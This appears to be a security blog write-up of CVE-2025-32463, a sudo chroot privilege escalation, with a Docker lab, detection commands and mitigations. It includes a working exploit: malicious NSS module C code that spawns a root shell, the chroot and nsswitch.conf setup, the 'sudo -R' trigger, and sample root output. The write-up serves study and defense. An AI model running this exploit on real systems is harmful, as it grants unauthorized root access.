CVE-2025-32463: Sudo Chroot Privilege Escalation - Analysis and Lab Setup

Executive Summary

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CVE-2025-32463 represents a critical local privilege escalation vulnerability affecting sudo versions 1.9.14 through 1.9.17. This vulnerability allows attackers to abuse the -R (chroot) option in combination with a maliciously crafted nsswitch.conf file to load arbitrary NSS (Name Service Switch) modules, ultimately achieving root access on vulnerable systems.

Vulnerability Details

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Technical Overview

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• CVE ID: CVE-2025-32463
• Affected Software: sudo 1.9.14 - 1.9.17
• Vulnerability Type: Local Privilege Escalation
• Attack Vector: Local
• Impact: Complete system compromise

Root Cause Analysis

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The vulnerability stems from improper validation and handling of the -R (chroot) option when combined with NSS module loading. The attack exploits sudo’s chroot functionality to manipulate the Name Service Switch (NSS) configuration, leading to arbitrary code execution with root privileges.

The attack chain works as follows:

1. NSS Module Creation: Attacker creates a malicious shared library with a constructor function
2. Environment Setup: Creates a fake chroot environment with custom nsswitch.conf
3. NSS Configuration Manipulation: Crafts nsswitch.conf to reference the malicious module
4. Sudo Chroot Abuse: Uses sudo -R to chroot into the controlled environment
5. Privilege Escalation: NSS module constructor executes with root privileges during passwd lookup

Affected Systems

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This vulnerability impacts:

• Ubuntu 24.04 systems with vulnerable sudo versions
• Other Linux distributions shipping sudo 1.9.14-1.9.17
• Systems where users have sudo privileges (even limited)

Exploitation Methodology

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Prerequisites

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• Local user account with sudo privileges
• Ability to create files in accessible directories
• Target system running vulnerable sudo version

Attack Flow

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# 1. Identify vulnerable sudo version
sudo --version

# 2. Create malicious NSS module
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

# 3. Setup fake chroot environment
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf

# 4. Execute privilege escalation via sudo chroot
sudo -R woot woot

Lab Environment Setup

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Docker-Based Testing Lab

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I’ve created a comprehensive Docker lab environment to safely test and understand this vulnerability:

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# Clone the lab repository
git clone https://github.com/7r00t/cve-2025-32463-lab.git
cd cve-2025-32463-lab

# Build the vulnerable environment
docker build -t cve-2025-32463-lab .

# Run the lab
docker run --rm -it --privileged cve-2025-32463-lab

Lab Components

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The lab includes:

1. Vulnerable Ubuntu 24.04 Container

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• Ubuntu 24.04 base system
• Manually compiled sudo 1.9.15p5 (vulnerable version)
• Development tools (gcc, make, wget, vim)
• Non-privileged user account (labuser) with limited sudo access

2. Realistic Sudo Configuration

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# Only allows executing /bin/bash via sudo - common in restricted environments
labuser ALL=(ALL) NOPASSWD: /bin/bash

3. Complete Exploitation Script (sudo-chwoot.sh)

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• Malicious NSS module source code
• Automated chroot environment setup
• Dynamic library compilation
• Exploitation trigger via sudo -R

4. Docker Environment

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FROM ubuntu:24.04
RUN apt update && apt install -y gcc make sudo wget vim

# Install vulnerable sudo version from source
WORKDIR /tmp
RUN wget https://www.sudo.ws/dist/sudo-1.9.15p5.tar.gz && \
    tar -xzf sudo-1.9.15p5.tar.gz && \
    cd sudo-1.9.15p5 && \
    ./configure && make && make install

# Create restricted user environment
RUN useradd -m labuser && echo 'labuser:password' | chpasswd
RUN echo 'labuser ALL=(ALL) NOPASSWD: /bin/bash' >> /etc/sudoers
USER labuser
WORKDIR /home/labuser

Practical Exploitation

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The Exploit Code Deep Dive

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The sudo-chwoot.sh exploit script works through several critical steps:

1. Malicious NSS Module Creation

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// woot1337.c - The malicious NSS module
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);      // Set real and effective UID to root
  setregid(0,0);      // Set real and effective GID to root  
  chdir("/");         // Change to root directory
  execl("/bin/bash", "/bin/bash", NULL);  // Execute root shell
}

The constructor attribute ensures this function executes automatically when the shared library loads.

2. Environment Preparation

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# Create staging directory
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)

# Setup fake chroot structure
mkdir -p woot/etc libnss_

# Malicious nsswitch.conf pointing to our module
echo "passwd: /woot1337" > woot/etc/nsswitch.conf

# Copy legitimate group file to avoid errors
cp /etc/group woot/etc

# Compile the malicious NSS module
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

3. Privilege Escalation Trigger

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# Execute with sudo chroot - this triggers NSS module loading
sudo -R woot woot

When sudo executes in the chroot environment, it performs user lookups that trigger NSS module loading, executing our malicious constructor function with root privileges.

Expected Results

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Successful exploitation will result in:

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labuser@container:~$ ./sudo-chwoot.sh
[*] Launching exploit via sudo -R ...
root@container:/# whoami
root
root@container:/# id
uid=0(root) gid=0(root) groups=0(root)

The exploit achieves:

• Immediate elevation from labuser to root
• Full system access within the container
• Clean root shell without authentication prompts
• Demonstration of complete privilege boundary bypass

Detection and Forensics

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Indicators of Compromise

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Security teams should monitor for:

1. File System Indicators

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• Unusual NSS modules in /lib directories
• Modified nsswitch.conf files
• Suspicious shared libraries

2. Process Monitoring

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• Unusual sudo command patterns with -R flag
• Processes spawned from temporary directories
• Unexpected privilege escalations from NSS module loading
• GCC compilation activity in user directories

3. Log Analysis

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• Audit logs showing sudo usage patterns
• Authentication anomalies
• File access patterns to NSS-related files

Detection Commands

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# Check for suspicious NSS modules in unexpected locations
find /tmp /home -name "libnss_*.so*" 2>/dev/null

# Monitor sudo usage with chroot flag
grep "sudo.*-R\|sudo.*chroot" /var/log/auth.log

# Look for temporary staging directories
find /tmp -name "sudowoot.stage.*" -type d

# Check for suspicious compilation activity
grep "gcc.*shared.*fPIC" /var/log/syslog

# Verify NSS configuration integrity
find / -name "nsswitch.conf" -not -path "/etc/nsswitch.conf" 2>/dev/null

Mitigation Strategies

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Immediate Actions

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1. Version Upgrade

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# Update sudo to patched version
sudo apt update && sudo apt upgrade sudo

2. Access Control Review

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• Audit sudo privileges across systems
• Implement principle of least privilege
• Remove unnecessary sudo access

3. Monitoring Implementation

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• Deploy file integrity monitoring
• Enable comprehensive audit logging
• Monitor NSS-related file modifications

Long-term Security Measures

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1. Hardening sudo Configuration

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• Restrict dangerous sudo options
• Implement sudo logging
• Regular privilege audits

2. System Hardening

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• AppArmor/SELinux policies
• File system permissions review
• Regular security assessments

Lessons Learned

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Security Implications

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This vulnerability highlights several critical security concepts:

1. Privilege Boundary Violations

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• How seemingly safe operations can be chained
• Importance of comprehensive input validation

2. System Component Interactions

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• NSS system integration points
• Chroot environment security considerations

3. Defense in Depth

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• Multiple security layer importance
• Monitoring and detection capabilities

Development Best Practices

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For developers and system administrators:

• Thorough security review of privileged operations
• Comprehensive testing of feature interactions
• Regular security-focused code audits

Conclusion

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CVE-2025-32463 serves as a critical reminder of the complexity inherent in system security. The vulnerability demonstrates how legitimate features, when combined, can create unexpected attack vectors leading to complete system compromise.

The Docker lab environment provides a safe, educational platform for understanding this vulnerability’s mechanics and impact. Security professionals should use this knowledge to better defend their environments and understand the importance of keeping critical system components updated.

References and Resources

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• [Official Sudo Security Advisory]
• [CVE-2025-32463 in MITRE CVE Database]
• [Stratascale Security Research - Original Disclosure]
• Lab Repository

Responsible Disclosure

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This research and lab setup are provided for educational purposes and authorized security testing only. Always ensure you have explicit permission before testing on any systems you do not own.

Stay informed about the latest security vulnerabilities and always test responsibly.